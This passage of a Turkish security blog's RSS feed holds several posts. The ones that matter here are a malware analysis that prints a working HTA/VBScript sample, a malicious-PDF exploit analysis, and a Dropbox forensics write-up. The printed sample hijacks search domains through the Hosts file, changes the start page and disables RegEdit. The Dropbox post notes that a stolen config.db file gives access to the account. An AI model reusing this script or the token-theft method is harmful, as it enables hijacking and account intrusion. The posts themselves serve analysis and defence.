		iwe.u.data.length = dtoh32(bi->SSID_len);
		iwe.cmd = SIOCGIWESSID;
		iwe.u.data.flags = 1;
		event = IWE_STREAM_ADD_POINT(info, event, end, &#038;iwe,
		bi->SSID);

		if (dtoh16(bi->capability) &#038; (DOT11_CAP_ESS |
		DOT11_CAP_IBSS)) {
			iwe.cmd = SIOCGIWMODE;
			if (dtoh16(bi->capability) &#038; DOT11_CAP_ESS)
				iwe.u.mode = IW_MODE_INFRA;
			else
				iwe.u.mode = IW_MODE_ADHOC;
			event = IWE_STREAM_ADD_EVENT(info, event, end,
			&#038;iwe, IW_EV_UINT_LEN);
		}

--snip--</pre>
<p>Yukarıdaki işlemleri gerçekleştirmenizdeki amaca bağlı olarak ne yapacağınız tamamen sizinle ilgili bir durum. Bu noktada sorunun giderilmesi için bekleyebilir, ilgili sorunun “bug tracker” aracılığı ile çözüme ulaşmasını umabilirsiniz. Günümüzde hali hazırda bu tip sorunların çözümünde sorunun “kernel icin yama” yazanların önüne düşmesini beklemek surekliliğin aksaması açısından problem olabilir. Bu iki şekilde cözüme kavuşturulabilir eger yeteri kadar teknik bilginiz varsa ilgili problemin aşımında “patch” yazabilir veya sorunun çözülmesi için gerekli modifikasyonları yapabilirsiniz. İkinci yöntem ise _ki bu yine beklemeyi gerektirir_ sorunun “kernel icin resmi patch” yazanlar yerine “outsource” gibi/benzeri bir hizmetten yararlanarak bekleme suresini kısaltabilirsiniz.</p>
<p>Burada dikkat çekilmesi gereken bir diğer nokta ise Unix güvenliği ile ilgili olan kanı. Sistemler üzerinde “vulnerable” veya “non-vulnerable” olan sorunların her sistem üzerinde oluşabileceği ama süreklilik açısından _ki bu open source ile ilgilidir_ Unix sistemlerin bir adım onde olduğu gerçegi.</p>
<p>Bu konuya uzun zamandır bir giriş yapmak istiyordum yazı oldukça vaktimi aldı ama umuyorumki konuyla ilgilenen kişiler için başlangıç seviyesinde tatmin edici olmuştur.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/guvenlik/alice-in-kernel-panic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO Poisoning ve DisableRegistryTools Anahtarı</title>
		<link>http://www.adeosecurity.com/genel/seo-poisoning-ve-disableregistrytools-anahtari/</link>
		<comments>http://www.adeosecurity.com/genel/seo-poisoning-ve-disableregistrytools-anahtari/#comments</comments>
		<pubDate>Thu, 30 Jun 2011 14:21:02 +0000</pubDate>
		<dc:creator>Halil Öztürkci</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Genel]]></category>
		<category><![CDATA[Malware Analiz]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=434</guid>
		<description><![CDATA[“SEO Poisoning” üzerine araştırma yaparken incelediğim sitelerden birisi üzerinden bilgisayarıma indirilen “porno-video.avi.hta” isimli dosyayı analiz ederken ilginç bir registry anahtarı dikkatimi çekti.  Bu dosya incelendiğinde anlaşılacağı üzere çalıştırıldığı Windows bilgisayardaki Hosts dosyasını açarak çoğunluğu  Google’ın olmak üzere arama sitelerine ait farklı ülke kodu uzantılı siteleri bir IP adresine eşleyecek şekilde güncelleme gerçekleştiriyor. Ardından shell.regwrite ile [...]]]></description>
			<content:encoded><![CDATA[<p>“SEO Poisoning” üzerine araştırma yaparken incelediğim sitelerden birisi üzerinden bilgisayarıma indirilen “<strong>porno-video.avi.hta</strong>” isimli dosyayı analiz ederken ilginç bir registry anahtarı dikkatimi çekti.  Bu dosya incelendiğinde anlaşılacağı üzere çalıştırıldığı Windows bilgisayardaki Hosts dosyasını açarak çoğunluğu  Google’ın olmak üzere arama sitelerine ait farklı ülke kodu uzantılı siteleri bir IP adresine eşleyecek şekilde güncelleme gerçekleştiriyor. Ardından shell.regwrite ile ilgili sisteme üç adet yeni registry değeri ekliyor.</p>
<p><span id="more-434"></span></p>
<pre>&lt;html&gt;&lt;head&gt;
&lt;hta:application id=hta_note_id applicationName=hta_note_name showInTaskBar=no
caption=no innerBorder=no selection=no scroll=no contextmenu=no /&gt;

&lt;/script&gt;

&lt;script language=javascript&gt;
window.resizeTo(0, 0);
window.moveTo(0, 0);
&lt;/script&gt;

&lt;SCRIPT language=vbs&gt;
Dim fsoObject, open_File, target_File
Set fsoObject = CreateObject("Scripting.FileSystemObject")

' ### set the file name to include the variable   from the process above
target_File =   "C:\WINDOWS\system32\drivers\etc\Hosts"

If (fsoObject.FileExists(target_File)) Then
    Set open_File = fsoObject.OpenTextFile(target_File, 8 )
Else
    Set open_File = fsoObject.OpenTextFile(target_File, 2, "True")
End If

'Edit Line below with ip and hostname
open_File.WriteLine "46.45.160.179   www.google.com.tr"
open_File.WriteLine "46.45.160.179   www.google.co.uk"
open_File.WriteLine "46.45.160.179   www.google.ca"
open_File.WriteLine "46.45.160.179   www.google.com.br"
open_File.WriteLine "46.45.160.179   www.google.co.il"
open_File.WriteLine "46.45.160.179   www.google.com.ar"
open_File.WriteLine "46.45.160.179   www.google.com.my"
open_File.WriteLine "46.45.160.179   www.google.gr"
open_File.WriteLine "46.45.160.179   www.google.com.ph"
open_File.WriteLine "46.45.160.179   www.google.com.tw"
open_File.WriteLine "46.45.160.179   www.google.co.id"
open_File.WriteLine "46.45.160.179   www.google.co.in"
open_File.WriteLine "46.45.160.179   www.google.com.au"
open_File.WriteLine "46.45.160.179   www.google.ru"
open_File.WriteLine "46.45.160.179   www.google.co.nz"
open_File.WriteLine "46.45.160.179   www.google.com.pk"
open_File.WriteLine "46.45.160.179   www.google.dk"
open_File.WriteLine "46.45.160.179   www.google.pt"
open_File.WriteLine "46.45.160.179   www.google.es"
open_File.WriteLine "46.45.160.179   www.google.se"
open_File.WriteLine "46.45.160.179   www.google.de"
open_File.WriteLine "46.45.160.179   www.google.com.hk"
open_File.WriteLine "46.45.160.179   www.google.fr"
open_File.WriteLine "46.45.160.179   www.google.co.jp"
open_File.WriteLine "46.45.160.179   www.google.com.mx"
open_File.WriteLine "46.45.160.179   www.google.com.sa"
open_File.WriteLine "46.45.160.179   www.google.com.sg"
open_File.WriteLine "46.45.160.179   www.google.cn"
open_File.WriteLine "46.45.160.179   www.google.com.eg"
open_File.WriteLine "46.45.160.179   www.google.com.ba"
open_File.WriteLine "46.45.160.179   www.google.com.at"
open_File.WriteLine "46.45.160.179   www.google.be"
open_File.WriteLine "46.45.160.179   www.google.ch"
open_File.WriteLine "46.45.160.179   www.google.no"
open_File.WriteLine "46.45.160.179   www.google.sk"
open_File.WriteLine "46.45.160.179   www.google.fi"
open_File.WriteLine "46.45.160.179   search.yahoo.com"
open_File.WriteLine "46.45.160.179   www.baidu.com"
open_File.Close()

Set shell = CreateObject("WScript.Shell")
shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://www.aramamoturu.com","REG_SZ"
shell.regwrite "<strong>HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\\DisableRegistryTools</strong>","00000001","REG_DWORD"
&lt;/script&gt;
&lt;/head&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>Bu registry değerleri içinde en alttaki dikkat çekici bir değer. <strong>HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\</strong> anahtarı altında yer alan <strong>DisableRegistryTools</strong> değeri ilgili sistemde registry editörünün (RegEdit) çalıştırılmasını engelleyen bir değer ve bu değer 1’e set edilmiş durumda. Eğer kullanıcı bu dosyayı çalıştırırsa bir daha RegEdit uygulamasını çalıştıramayacak demektir.  Bu durumda registry üzerinde içlem yapmak için alternatif yollara başvurmak gerekecek. Takip edilebilecek yollardan birisi  <a href="http://support.microsoft.com/kb/831787">http://support.microsoft.com/kb/831787</a> adresindeki makalede açıklanan adımları izlemek. İkinci yol ise, eğer kullanıcı RegEdit uygulamasını çalıştıramadığını bilgisayarını yeniden başlatmadan farkederse, bu durumda  bilgisayarını yeniden başlatmalı ve  ve Windows açılış ekranından “Last Known Good Configuration” seçeneğini seçerek eski registry hive’leri ile sistemi yeniden başlatmalıdır.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/genel/seo-poisoning-ve-disableregistrytools-anahtari/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Origami ile Zararlı PDF Analizi</title>
		<link>http://www.adeosecurity.com/guvenlik/origami-ile-zararli-pdf-analizi/</link>
		<comments>http://www.adeosecurity.com/guvenlik/origami-ile-zararli-pdf-analizi/#comments</comments>
		<pubDate>Wed, 29 Jun 2011 12:51:59 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
				<category><![CDATA[Malware Analiz]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[CVE-2008-2992]]></category>
		<category><![CDATA[CVE-2009-0927]]></category>
		<category><![CDATA[malicious pdf]]></category>
		<category><![CDATA[malicious pdf analysis]]></category>
		<category><![CDATA[malware analysis]]></category>
		<category><![CDATA[origami framework]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=416</guid>
		<description><![CDATA[Bu makalemizde Sogeti ESEC Labs tarafından geliştirilen Origami framework&#8217;ü ile zararlı PDF analizinin nasıl yapılabileceğine değineceğiz. Origami framework&#8217;ü PDF dosya formatının parse edilmesi, analiz edilmesi ve özellikle barındırdığı JavaScript, ekli dosyaların çıkartılması için çok kullanışlı. Bu makalede ise Origami&#8217;nin kurulumu ve içerisinde gelen hali hazırda araçlar ile zararlı bir PDF&#8217;in analizini yapacağız. Kurulumu Öncelikle şunu [...]]]></description>
			<content:encoded><![CDATA[<p><img title="Origami ile Zararlı PDF Analizi" src="http://adeosecurity.com/images/origami-ile-analiz/origami-ile-analiz-5.png" alt="" width="126" height="104" align="left" />Bu makalemizde Sogeti ESEC Labs tarafından geliştirilen Origami framework&#8217;ü ile zararlı PDF analizinin nasıl yapılabileceğine değineceğiz. Origami framework&#8217;ü PDF dosya formatının parse edilmesi, analiz edilmesi ve özellikle barındırdığı JavaScript, ekli dosyaların çıkartılması için çok kullanışlı. Bu makalede ise Origami&#8217;nin kurulumu ve içerisinde gelen hali hazırda araçlar ile zararlı bir PDF&#8217;in analizini yapacağız.<span id="more-416"></span></p>
<h2>
Kurulumu</h2>
<p>Öncelikle şunu belirtmekte fayda var, saldırganlar genel olarak Windows işletim sistemi kullanan kurbanları hedef aldığı için zararlı PDF dosyalarının analizinde Windows haricinde bir işletim sistemi kullanmak en güvenli yol olacaktır. Bizde bu makalede çalışmalarımızı Linux işletim sistemi altında yapıyor olacağız. Origami, Ruby programlama dili ile geliştirildiği için sisteminizde Rubygems&#8217;in bulunması kurulumu kolaylaştıracaktır.</p>
<pre>[cb@adeo:~]&gt; gem install origami
WARNING: Installing to ~/.gem since /var/lib/gems/1.8 and
/var/lib/gems/1.8/bin aren't both writable.
Successfully installed origami-1.0.3
1 gem installed
Installing ri documentation for origami-1.0.3...
Installing RDoc documentation for origami-1.0.3...</pre>
<p>Yukarıdaki komut ile Origami&#8217;yi sistemimize kurduk. Örnekte hata mesajına aldırış etmeyin, sadece kurulumu root haklarıyla yapmadığım için çıkan bir hata mesajı. Ayrıca Origami ile birlikte gelen araçlara kolayca ulaşabilmek için ise sisteminizdeki PATH değişkenine /home/user/.gem/ruby/1.8/bin dizininide eklemeniz gerekmekte. Burada user sizin<br />
sisteminizdeki kullanıcı adınız.</p>
<p>Ayrıca pdfwalker isimli aracı kullanabilmemiz için yine gem ile gtk2 kütüphanesini kurmamız gerekmektedir çünkü pdfwalker komut satırından değil görsel arayüz ile çalışmakta.</p>
<h2>Analiz</h2>
<p>Origami&#8217;yi başarılı bir şekilde kurduğumuza göre analize başlayabiliriz. İlk olarak komut satırına pdfwalker yazıyoruz. Gelen arayüzden parse edilmesini istediğimiz zararlı PDF dosyasını seçiyoruz.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://adeosecurity.com/images/origami-ile-analiz/origami-ile-analiz-1.png" alt="" width="759" height="378" /></p>
<p>Yukarıda gördüğünüz gibi parse ettiğimiz PDF dosyasının 9 0 R başlığıyla tanımlı stream&#8217;deki verileri JavaScript olarak çalıştırdığını görüyoruz. Body&#8217;nin içindeki Stream kısmına giderek bu çalıştırılacak JavaScript kodunun neye benzediğine bakabiliriz.</p>
<p><img src="http://adeosecurity.com/images/origami-ile-analiz/origami-ile-analiz-2.png" alt="" /></p>
<p>Gördüğünüz üzere bir takım fonksiyonların tanımlı olduğu ve obfuscation işlemi uygulanmış bir JavaScript kod blogu ile karşı karşıyayız. Şimdi ise yapacağımız işlem bu JavaScript kodunu PDF içerisinden çıkartmak ve analizini yapmak. Bunun içinde yine Origami ile birlikte gelen pdfextract komutunu aşağıdaki şekilde çalıştırıyoruz.</p>
<p><img src="http://adeosecurity.com/images/origami-ile-analiz/origami-ile-analiz-3.png" alt="" /></p>
<p>Dump klasöründe parse işlemi sonunda tespit edilen Stream objelerinin dışa çıkartılmış haline erişiyoruz. Bundaki sonraki kısımı elle yapacağız ve zararlı PDF dosyasının ne tür bir yöntem kullandığını tespit etmeye çalışacağız.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://adeosecurity.com/images/origami-ile-analiz/origami-ile-analiz-4.png" alt="" width="752" height="309" /></p>
<p>Çıkartılan JavaScript kodu decode64 fonksiyonu içeriyordu ve decode64 ile çözdüğü veriyi JavaScript&#8217;in eval methodu ile yine JS olarak çalıştıyordu. Kodu analiz edebilmek için ilgili çıkartılan JS kodunda ufak bir oynama yaptım ve eval yerine document.write methodunu kullanarak yukarıda görmüş olduğunuz esas JavaScript koduna ulaştım.</p>
<p><strong>WEUTvtKh1zGdD6BJ</strong> isimli değişken bir shellcode saklamakta. Ardından <strong>app.doc.Collab.getIcon</strong> methodu çağrılmakta. Yani bu PDF dosyası hedef sistemde ilk olarak <strong>CVE-2009-0927</strong> (<em>Adobe Acrobat and Reader Collab &#8216;getIcon()&#8217; JavaScript Method Remote Code Execution</em>) zafiyetini exploit etmeye çalışmakta. Eğer app.Collab.getIcon methodunu bulamazsa bu sefer bir sonraki koşula geçiyor ve <strong>util.printf</strong> methodunu yine özel olarak hazırlanmış bir değer ile çağırıyor. Yani ilk seferde başarısız olursa ikinci sefer <strong>CVE-2008-2992</strong> (<em>Adobe Reader &#8216;util.printf()&#8217; JavaScript Function Stack Buffer Overflow</em>) zafiyetini exploit ediyor. Bu zararlı PDF dosyasının çalışma yöntemiyle ilgili olarak aşağıdaki gibi bir şema çıkardım. İlk olarak PDF dosyası çalışıyor, daha sonra içerisindeki gömülü JavaScript kodu çalışıyor ve bu JavaScript koduda Adobe Acrobat ve Adobe Reader&#8217;daki iki güvenlik açığını exploit ederek sistemi ele geçirmeye çalışıyor.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://adeosecurity.com/images/origami-ile-analiz/origami-ile-analiz-5.png" alt="" width="376" height="354" /></p>
<p>Son zamanlarda benzer yöntemleri kullanan birçok zararlı dosyaya rastladım. Özellikle sızdırılan Exploit Pack&#8217;lerde yaptığım analizlerde (örnekteki dosyada Eleanore Pack&#8217;ten barındıran zararlı bir siteden elde edilmiştir) aynı yöntemlerin birçok Exploit Pack tarafından kullanıldığını söyleyebilirim.</p>
<p>Özellikle Exploit Pack&#8217;lerin yaygınlaşması ve yeni saldırı/yayılma tekniklerinin çıkması bizlere analiz edebileceğimiz daha zevkli vakalar oluşturmakta. Siz siz olun bilmediğiniz dosyaları açmayın.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/guvenlik/origami-ile-zararli-pdf-analizi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web Tehditlerine Karşı Hazırlıklı Olun</title>
		<link>http://www.adeosecurity.com/genel/web-tehditlerine-karsi-hazirlikli-olun/</link>
		<comments>http://www.adeosecurity.com/genel/web-tehditlerine-karsi-hazirlikli-olun/#comments</comments>
		<pubDate>Wed, 29 Jun 2011 09:18:29 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
				<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Duyuru]]></category>
		<category><![CDATA[Eğitim]]></category>
		<category><![CDATA[Genel]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Seminer]]></category>
		<category><![CDATA[Web Application Security]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=410</guid>
		<description><![CDATA[28 Haziran 2011 tarihinde HP Yazılım – İnovasyon Merkezi&#8217;nde gerçekleştirmiş olduğumuz &#8220;Web Tehditlerine Karşı Hazırlıklı Olun&#8221; isimli seminerimize ait sunum ve fotoğraflar aşağıdadır. Katılan herkese teşekkürler umarız faydalı geçmiştir. Sunum Dosyası (PDF): http://www.adeosecurity.com/sunum/HP-AppSec-Presentation.pdf Fotoğraflar : http://www.adeosecurity.com/sunum/hp-sunum-resimler.zip]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="HP Sunum" src="http://adeosecurity.com/images/hp-sunum-cb.jpg" alt="" width="500" height="246" /></p>
<p>28 Haziran 2011 tarihinde HP Yazılım – İnovasyon Merkezi&#8217;nde gerçekleştirmiş olduğumuz &#8220;Web Tehditlerine Karşı Hazırlıklı Olun&#8221; isimli seminerimize ait sunum ve fotoğraflar aşağıdadır. Katılan herkese teşekkürler umarız faydalı geçmiştir.</p>
<p>Sunum Dosyası (PDF):<br />
<a href="http://www.adeosecurity.com/sunum/HP-AppSec-Presentation.pdf">http://www.adeosecurity.com/sunum/HP-AppSec-Presentation.pdf</a></p>
<p>Fotoğraflar :<br />
<a href="http://www.adeosecurity.com/sunum/hp-sunum-resimler.zip">http://www.adeosecurity.com/sunum/hp-sunum-resimler.zip</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/genel/web-tehditlerine-karsi-hazirlikli-olun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Etklinlik] Web Tehditlerine Karşı Hazırlıklı Olun</title>
		<link>http://www.adeosecurity.com/duyuru/etklinlik-web-tehditlerine-karsi-hazirlikli-olun/</link>
		<comments>http://www.adeosecurity.com/duyuru/etklinlik-web-tehditlerine-karsi-hazirlikli-olun/#comments</comments>
		<pubDate>Mon, 27 Jun 2011 13:27:48 +0000</pubDate>
		<dc:creator>Canberk Bolat</dc:creator>
				<category><![CDATA[Duyuru]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=403</guid>
		<description><![CDATA[Web Tehditlerine Karşı Hazırlıklı Olun 28 Haziran 2011 Salı / HP Yazılım &#8211; İnovasyon Merkezi Şirketinizin internete açık yüzü olan web uygulamalarınızın güvenliği gün geçtikçe daha da kritik bir hal almaktadır. Şirketinizdeki kritik ve gizli bilgilerin ele geçirilmesinden tutun da, şirketinizin ciddi maddi cezalara ya da kayıplara uğramasına sebep olabilecek tehlikeleri gözler önüne sereceğimiz bu [...]]]></description>
			<content:encoded><![CDATA[<p>Web Tehditlerine Karşı Hazırlıklı Olun<br />
28 Haziran 2011 Salı / HP Yazılım &#8211; İnovasyon Merkezi</p>
<p style="text-align: center;"><img class="aligncenter" title="HP Inovasyon Merkezi" src="http://adeosecurity.com/images/hp-inovasyon-merkezi.jpg" alt="" width="580" height="338" align="center" /></p>
<p>Şirketinizin internete açık yüzü olan web uygulamalarınızın güvenliği gün geçtikçe daha da kritik bir hal almaktadır. Şirketinizdeki kritik ve gizli bilgilerin ele geçirilmesinden tutun da, şirketinizin ciddi maddi cezalara ya da kayıplara uğramasına sebep olabilecek tehlikeleri gözler önüne sereceğimiz bu seminerimizde kritik web uygulama zafiyetleri ele alınıp, örnek saldırılar üzerinden tehditler incelenecek ve bu tehditlere karşı nasıl önlem alınabileceğine değinilecektir.</p>
<p>Seminer ADEO Security Labs&#8217;tan Canberk BOLAT tarafından verilecektir.</p>
<p><strong>Tarih:</strong> 28 Haziran 2011, Salı<br />
<strong>Saat:</strong> 13:30 &#8211; 17:00<br />
<strong>Yer:</strong> HP Yazılım &#8211; İnovasyon Merkezi, İstanbul   kroki<br />
<strong>Adres: </strong>İstanbul Teknik Üniversitesi, Elektrik-Elektronik Fakültesi Binası, Maslak – İstanbul<br />
<strong>LCV:</strong> Filiz Karcı filiz.karci@hp.com  Tel: 0530 976 58 79</p>
<p>İçerik:</p>
<ul>
<li>Web Uygulamalarının Genel Yapısı</li>
<li>Web Uygulamalarına Yönelik Saldırılar
<ul>
<li>Uygulamalara Gelen Saldırıların Nedenleri</li>
<li>Uygulamalar Neden Güvensiz</li>
<li>Birkaç Popüler Web Uygulamasının Hack Edilme Süreçleri</li>
</ul>
</li>
<li>SQL Injection</li>
<li>Cross-Site Scripting (XSS)</li>
<li>Mantıksal Açıklıklar</li>
<li>Uygulama Güvenlik Testleri</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.adeosecurity.com/duyuru/etklinlik-web-tehditlerine-karsi-hazirlikli-olun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Online Storage Servislerinin Adli Bilişim Açısından İncelenmesi</title>
		<link>http://www.adeosecurity.com/digital-forensics/online-storage-servislerinin-adli-bilisim-acisindan-incelenmesi/</link>
		<comments>http://www.adeosecurity.com/digital-forensics/online-storage-servislerinin-adli-bilisim-acisindan-incelenmesi/#comments</comments>
		<pubDate>Tue, 21 Jun 2011 07:45:21 +0000</pubDate>
		<dc:creator>Halil Öztürkci</dc:creator>
				<category><![CDATA[Digital Forensics]]></category>

		<guid isPermaLink="false">http://www.adeosecurity.com/?p=390</guid>
		<description><![CDATA[Bu makalemizde, günümüzde oldukça sık kullanılan anti forensics tekniklerinden birisi  olan uzak lokasyonlarda verinin saklanmasına ilişkin detayları ele alacağız. Bu tarz bir servisin şüpheli kişiler tarafından kullanılması durumunda şüpheli bilgisayarlar üzerinde ne tür izlerin yer alabileceği, adli bilişim uzmanlarının bu bilgisayarları inceleyerek ne tür delillere ulaşılabileceğini detaylı şekilde inceleyeceğimiz bu makalede üç farklı servisi ele [...]]]></description>
			<content:encoded><![CDATA[<p>Bu makalemizde, günümüzde oldukça sık kullanılan anti forensics tekniklerinden birisi  olan uzak lokasyonlarda verinin saklanmasına ilişkin detayları ele alacağız. Bu tarz bir servisin şüpheli kişiler tarafından kullanılması durumunda şüpheli bilgisayarlar üzerinde ne tür izlerin yer alabileceği, adli bilişim uzmanlarının bu bilgisayarları inceleyerek ne tür delillere ulaşılabileceğini detaylı şekilde inceleyeceğimiz bu makalede üç farklı servisi ele alacağız.</p>
<p><span id="more-390"></span></p>
<h2>Dropbox</h2>
<p>Bunlardan birincisi Dropbox. www.dropbox.com üzerinden oluşturulan bir kullanıcı hesabı sayesinde 2 GB’a kadar herhangi bir ücret ödemeden bu servis kullanılabiliyor ve internete erişimin olduğu her yerden kişinin dosyalarına ulaşması mümkün. Bu servisi kullanmak için istemci bilgisayarlara yüklenen bir istemci yazılımı üzerinden dosya ve klasörlerin senkronizasyonu gerçekleştiriliyor. Kurulum sırasında seçilen ana klasör baz alınarak bu klasörün altına atılan dosya ve dizinlerin internetteki saklama lokasyonuna gönderilmesini ve bir kopyasının orada saklanmasının sağlanması mümkün. Aşağaki ekran görüntüsünde benim kişisel bilgisayarımda yer alan dropbox’ın senkronizasyonunda kullanılan dizini görebilirsiniz.</p>
<p style="text-align: center;"><img title="Şekil - 1" src="http://adeosecurity.com/images/online-storage-forensics/1.png" alt="" width="486" height="194" align="center" /></p>
<p>Dropbox uygulaması kurulduğunda sistemde yapılan değişikliklerin neler olduğunu tespit etmek adına regshot uygulamasını kullanarak izleme gerçekleştirdiğimizde aşağıda özeti verilmiş aktivitelerin gerçekleştiğini görüyoruz.</p>
<ul>
<li>HKEY_CURRENT_USER\Software\Dropbox ve HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall\Dropbox  anahtarı oluşturularak ilgili değerler bu anahtarın altına ekleniyor.</li>
<li>İlgili kullanıcının profilinde yer alan “Application Data” dizini altında Dropbox isimli bir klasör oluşturuluyor ve aşağıda listesi verilen dosyalar bu dizin altında oluşturuluyor</li>
</ul>
<pre>C:\Documents and Settings\UserName\Application Data\Dropbox\bin\Dropbox.exe
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\DropboxExt.14.dll
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\itag
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\msvcp71.dll
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\msvcr71.dll
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\Python25.dll
C:\Documents and Settings\UserName\Application Data\Dropbox\bin\Uninstall.exe
C:\Documents and Settings\UserName\Application Data\Dropbox\config.db
C:\Documents and Settings\UserName\Application Data\Dropbox\filecache.db
C:\Documents and Settings\UserName\Application Data\Dropbox\host.db
C:\Documents and Settings\UserName\Application Data\Dropbox\installer\l\4dd0e9a9
C:\Documents and Settings\UserName\Application Data\Dropbox\l\4dd0e9b0
C:\Documents and Settings\UserName\Application Data\Dropbox\l\4dd0e9b2
C:\Documents and Settings\UserName\Application Data\Dropbox\l\4dd0e9e5
C:\Documents and Settings\UserName\Application Data\Dropbox\shellext\l\4dd0e9b0
C:\Documents and Settings\UserName\Application Data\Dropbox\shellext\l\4dd0e9b4
C:\Documents and Settings\UserName\Application Data\Dropbox\shellext\l\4dd0e9b7
C:\Documents and Settings\UserName\Application Data\Dropbox\sigstore.db
C:\Documents and Settings\UserName\Application Data\Dropbox\unlink.db</pre>
<p>Dropbox’ın kurulduğu zaman bilgisine HKEY_CURRENT_USER\Software\Dropbox anahtarının Last Write Time bilgisine bakılarak ulaşılabilir. Çalışan bir sistem üzerinde bu bilgiye ulaşmak için ilgili registry anahtarını registry editör (Regedit) aracılığı ile txt formatında Export edip açmamız yeterli. Aşağıda HKEY_CURRENT_USER\Software\Dropbox anahtarının export edildikten sonra Notepad yardımıyla açılmış halini görebilirsiniz.</p>
<p style="text-align: center;"><img title="Şekil - 2" src="http://adeosecurity.com/images/online-storage-forensics/2.png" alt="" width="605" height="195" align="center" /></p>
<p>Canlı bir sistemde yapılan registry analizinde ilgili registry anahtarlarına ilişkin Last Write Time değerini Windows ile birlikte gelen Regedit yardımıyla göremeyiz. Bu durumda ya kendi yazılımımızı yada scriptimizi yazıp bu bilgiyi registry içinden çekmemiz gerekiyor ya da bu özelliğe sahip üçüncü parti bir yazılımı kullanmamız gerekiyor. Aşağıda Registrar Registry Manager(www.resplendence.com)  isimli uygulama kullanılarak ilgili registry anahtarının Last Write Time değerinin ne olduğu gösterilmiştir.</p>
<p style="text-align: center;"><img title="Şekil - 3" src="http://adeosecurity.com/images/online-storage-forensics/3.png" alt="" width="334" height="304" align="center" /></p>
<p>Dropbox’ın kurulumu ile ile gelen registry anahtarları bize adli bilişim açısından çok bilgi sunmamaktadır. Bunun başlıca sebebi Dropbox’ın kendi tanımlarını kurulum dizini içinde yer alan veritabanı dosyalarında saklaması ve bu veritabanlarını kullanarak işlem yapması. Dropbox’ın konfigürasyon bilgileri config.db isimli SQLite formatındaki veritabanında saklanıyor. Bu veritabanı dosyasını Firefox’un eklentilerinden olan SQLite Manager ile açtığımızda içinde sadece config isimli tek bir tablonun yer aldığını görüyoruz. Aşağıdaki ekran görüntüsünde bu tabloda yer alan alanların neler olduğu ve bu alanlardaki değerlerin benim kurulumum için neler olduğu bilgisi görülebilir.</p>
<p>Bu tablodaki dropbox_path alanında Dropbox’ın kurulu olduğu dizin bilgisi, email alanında Dropbox kullanıcı adı bilgisi yer alır. Dropbox’ın kimlik doğrulama ile ilgili olarak bu bilgiyi değil, bunun yerine host_id alanındaki değeri kullandığını ortaya çıkaran Derek Newton’un  http://dereknewton.com/2011/04/dropbox-authentication-static-host-ids/ adresindeki yazısına göre herhangi bir kişinin Dropbox hesabına ulaşmak için o kişinin bilgisyarındaki config.db dosyasını ele geçirmek yeterli. Bu kullanıcı Dropbox hesabının şifresini değiştirse bile config.db dosyasına sahip olan bir kişi o kullanıcının dosyalarına erişebiliyor.Gerçekleştirdiğimiz testlerde bu iddaa’yı doğrulayan sonuçları biz de elde ettik. Bu noktada adli bilişim açısından şunu söyleyebiliriz. Şüphelinin bilgisayarında yapılan inceleme sonucunda elde edeceğimiz config.db dosyasını kullanarak bu kişinin Dropbox hesabına ulaşmak mümkün. Fakat bir noktanın altını çizmek istiyorum. Bu şekilde bir erişimin gerçekleşmesi durumunda karşı tarafın kişisel verilerine izinsiz ulaştığınız gibi bir durum ortaya çıkabilir ve bu durum sizi zor durumda bırakabilir.</p>
<p style="text-align: center;"><img title="Şekil - 4" src="http://adeosecurity.com/images/online-storage-forensics/4.png" alt="" width="500" height="451" align="center" /></p>
<p>Config.db veritabanındaki config isimli tabloda yer alan recently_changed3 isimli alanda, Dropbox hesabına ait en son değişiklik yapılan son beş dosyaya ait bilgiler yer almaktadır. Aşağıdaki şekilde benim kendi hesabıma ilişkin en son değişiklik yapılan beş dosyaya ait bilgiler görülebilir. Buradaki bilgiler içinde bizim için en önelmli olanı N ile başlayan satırların üzerindeki dosyaların  silinmiş dosyalar olduğudur.</p>
<p style="text-align: center;"><img title="Şekil - 5" src="http://adeosecurity.com/images/online-storage-forensics/5.png" alt="" width="363" height="289" align="center" /></p>
